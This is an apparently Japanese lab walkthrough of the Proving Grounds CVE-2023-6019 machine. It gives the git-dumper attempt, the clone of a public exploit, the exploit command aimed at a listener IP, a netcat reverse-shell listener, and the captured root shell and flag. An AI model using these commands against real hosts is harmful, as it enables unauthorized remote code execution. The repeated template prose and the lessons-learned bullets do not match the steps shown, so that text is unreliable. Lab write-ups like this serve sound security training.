Post

Proving Grounds - CVE-2023-6019 (Linux)

Proving Grounds CVE-2023-6019 Linux マシン解説。偵察・初期アクセス・権限昇格を解説。

Proving Grounds - CVE-2023-6019 (Linux)

概要

項目 内容
OS Linux
難易度 記録なし
攻撃対象 Webアプリケーションおよび公開されているネットワークサービス
主な侵入経路 Web RCE (CVE-2023-6019)
権限昇格経路 ローカル列挙 -> 設定ミスの悪用 -> root

認証情報

認証情報なし。

偵察


💡 なぜ有効か このフェーズでは到達可能な攻撃対象領域を把握し、悪用が成功しやすい箇所を特定します。正確なサービス・コンテンツ探索により、無作為なテストを減らし、的を絞った後続アクションにつなげます。

初期足がかり


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 /tools/git-dumper/git_dumper.py http://192.168.205.37:44217/.git/ /home/n0z0/work/04.OSCP/Proving_Ground/CVE-2023-6019
1
2
3
4
5
6
7
✅[3:01][CPU:5][MEM:79][TUN0:192.168.45.244][...ving_Ground/CVE-2023-6019]
🐉 > python3 /tools/git-dumper/git_dumper.py http://192.168.205.37:44217/.git/ /home/n0z0/work/04.OSCP/Proving_Ground/CVE-2023-6019
/tools/git-dumper/git_dumper.py:409: SyntaxWarning: invalid escape sequence '\g'
  modified_content = re.sub(UNSAFE, '# \g<0>', content, flags=re.IGNORECASE)
Warning: Destination '/home/n0z0/work/04.OSCP/Proving_Ground/CVE-2023-6019' is not empty
[-] Testing http://192.168.205.37:44217/.git/HEAD [200]
error: http://192.168.205.37:44217/.git/HEAD is not a git HEAD file

💡 なぜ有効か 初期足がかりのステップでは、発見した脆弱性を連鎖させてターゲットへの実行可能な制御を確立します。成功した足がかり技術は、コマンド実行やインタラクティブシェルのコールバックによって検証されます。

権限昇格


Screenshot from the cve-2023-6019 engagement キャプション:このフェーズで取得したスクリーンショット

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
git clone https://github.com/Clydeston/CVE-2023-6019.git
1
2
3
4
5
6
7
8
9
❌[3:37][CPU:1][MEM:76][TUN0:192.168.45.244][...ving_Ground/CVE-2023-6019]
🐉 > git clone https://github.com/Clydeston/CVE-2023-6019.git
Cloning into 'CVE-2023-6019'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (6/6), done.

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 CVE-2023-6019.py -t 192.168.205.37 -p 9000 -l 192.168.45.244 -lp 80
1
2
3
4
✅[4:22][CPU:51][MEM:75][TUN0:192.168.45.244][...E-2023-6019/CVE-2023-6019]
🐉 > python3 CVE-2023-6019.py -t 192.168.205.37 -p 9000 -l 192.168.45.244 -lp 80
Sending Payload

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
3
4
rlwrap -cAri nc -lvnp 80
ls
ls -la
cat proof.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❌[4:22][CPU:58][MEM:71][TUN0:192.168.45.244][/home/n0z0]
🐉 > rlwrap -cAri nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.205.37] 41146
root@ubuntu:/opt# ls
ls
server-ml.py
root@ubuntu:/opt# ls -la
ls -la
total 12
drwxr-xr-x  2 root root 4096 Dec 16  2023 .
drwxr-xr-x 19 root root 4096 Jun 15  2022 ..
-rw-r--r--  1 root root 1324 Dec 16  2023 server-ml.py

root@ubuntu:~# cat proof.txt
cat proof.txt
bfe6ff4e77c09176e9a93c2086a4a12a
root@ubuntu:~#

riba-su 💡 なぜ有効か 権限昇格はローカルの設定ミス、安全でないパーミッション、信頼された実行パスに依存します。これらの信頼境界を列挙して悪用することが、rootレベルのアクセスへの最短経路です。

まとめ・学んだこと

  • 本番同等の環境でフレームワークのデバッグモードとエラー露出を検証する。
  • 特権ユーザーやスケジューラーが実行するスクリプト・バイナリのファイルパーミッションを制限する。
  • ワイルドカード展開やスクリプト化可能な特権ツールを避けるため sudo ポリシーを強化する。
  • 露出した認証情報と環境ファイルを重要機密として扱う。

参考文献

  • CVE-2023-6019: https://nvd.nist.gov/vuln/detail/CVE-2023-6019
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.